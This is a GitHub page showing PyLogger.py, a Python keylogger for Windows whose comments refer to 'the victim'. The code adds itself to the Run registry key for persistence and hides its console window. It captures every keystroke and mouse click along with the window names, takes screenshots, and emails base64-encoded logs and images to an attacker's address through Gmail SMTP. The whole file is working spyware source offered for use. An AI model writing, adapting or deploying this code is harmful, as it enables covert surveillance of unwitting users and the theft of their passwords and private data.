-
Notifications
You must be signed in to change notification settings - Fork 1
/
PyLogger.py
161 lines (118 loc) · 5.13 KB
/
PyLogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
#!/usr/bin/python
# -*- coding: utf-8 -*-
"""
██▓███ ▓██ ██▓ ██▓ ▒█████ ▄████ ▄████ ▓█████ ██▀███
▓██░ ██▒▒██ ██▒▓██▒ ▒██▒ ██▒ ██▒ ▀█▒ ██▒ ▀█▒▓█ ▀ ▓██ ▒ ██▒
▓██░ ██▓▒ ▒██ ██░▒██░ ▒██░ ██▒▒██░▄▄▄░▒██░▄▄▄░▒███ ▓██ ░▄█ ▒
▒██▄█▓▒ ▒ ░ ▐██▓░▒██░ ▒██ ██░░▓█ ██▓░▓█ ██▓▒▓█ ▄ ▒██▀▀█▄
▒██▒ ░ ░ ░ ██▒▓░░██████▒░ ████▓▒░░▒▓███▀▒░▒▓███▀▒░▒████▒░██▓ ▒██▒
▒▓▒░ ░ ░ ██▒▒▒ ░ ▒░▓ ░░ ▒░▒░▒░ ░▒ ▒ ░▒ ▒ ░░ ▒░ ░░ ▒▓ ░▒▓░
░▒ ░ ▓██ ░▒░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ░ ░ ░ ░ ░ ░ ░▒ ░ ▒░
░░ ▒ ▒ ░░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░
"""
import sys
import win32api,pythoncom
import pyHook,os,time,random,smtplib,string,base64
from _winreg import *
global t,start_time,pics_names,yourgmail,yourgmailpass,sendto,interval
t="";pics_names=[]
#Note: You have to edit this part from sending the keylogger to the victim
#########Settings########
yourgmail="" #What is your gmail?
yourgmailpass="" #What is your gmail password
sendto="" #Where should I send the logs to? (any email address)
interval=60 #Time to wait before sending data to email (in seconds)
########################
try:
f = open('Logfile.txt', 'a')
f.close()
except:
f = open('Logfile.txt', 'w')
f.close()
def addStartup(): # this will add the file to the startup registry key
fp = os.path.dirname(os.path.realpath(__file__))
file_name = sys.argv[0].split('\\')[-1]
new_file_path = fp + '\\' + file_name
keyVal = r'Software\Microsoft\Windows\CurrentVersion\Run'
key2change = OpenKey(HKEY_CURRENT_USER, keyVal, 0, KEY_ALL_ACCESS)
SetValueEx(key2change, 'Im not a keylogger', 0, REG_SZ,
new_file_path)
def Hide():
import win32console
import win32gui
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
addStartup()
Hide()
def ScreenShot():
global pics_names
import pyautogui
def generate_name():
return ''.join(random.choice(string.ascii_uppercase
+ string.digits) for _ in range(7))
name = str(generate_name())
pics_names.append(name)
pyautogui.screenshot().save(name + '.png')
def Mail_it(data, pics_names):
data = base64.b64encode(data)
data = 'New data from victim(Base64 encoded)\n' + data
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(yourgmail, yourgmailpass)
server.sendmail(yourgmail, sendto, data)
server.close()
for pic in pics_names:
data = base64.b64encode(open(pic, 'r+').read())
data = 'New pic data from victim(Base64 encoded)\n' + data
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(yourgmail, yourgmailpass)
server.sendmail(yourgmail, sendto, msg.as_string())
server.close()
def OnMouseEvent(event):
global yourgmail, yourgmailpass, sendto, interval
data = '\n[' + str(time.ctime().split(' ')[3]) + ']' \
+ ' WindowName : ' + str(event.WindowName)
data += '\n\tButton:' + str(event.MessageName)
data += '\n\tClicked in (Position):' + str(event.Position)
data += '\n===================='
global t, start_time, pics_names
t = t + data
if len(t) > 300:
ScreenShot()
if len(t) > 500:
f = open('Logfile.txt', 'a')
f.write(t)
f.close()
t = ''
if int(time.time() - start_time) == int(interval):
Mail_it(t, pics_names)
start_time = time.time()
t = ''
return True
def OnKeyboardEvent(event):
global yourgmail, yourgmailpass, sendto, interval
data = '\n[' + str(time.ctime().split(' ')[3]) + ']' \
+ ' WindowName : ' + str(event.WindowName)
data += '\n\tKeyboard key :' + str(event.Key)
data += '\n===================='
global t, start_time
t = t + data
if len(t) > 500:
f = open('Logfile.txt', 'a')
f.write(t)
f.close()
t = ''
if int(time.time() - start_time) == int(interval):
Mail_it(t, pics_names)
t = ''
return True
hook = pyHook.HookManager()
hook.KeyDown = OnKeyboardEvent
hook.MouseAllButtonsDown = OnMouseEvent
hook.HookKeyboard()
hook.HookMouse()
start_time = time.time()
pythoncom.PumpMessages()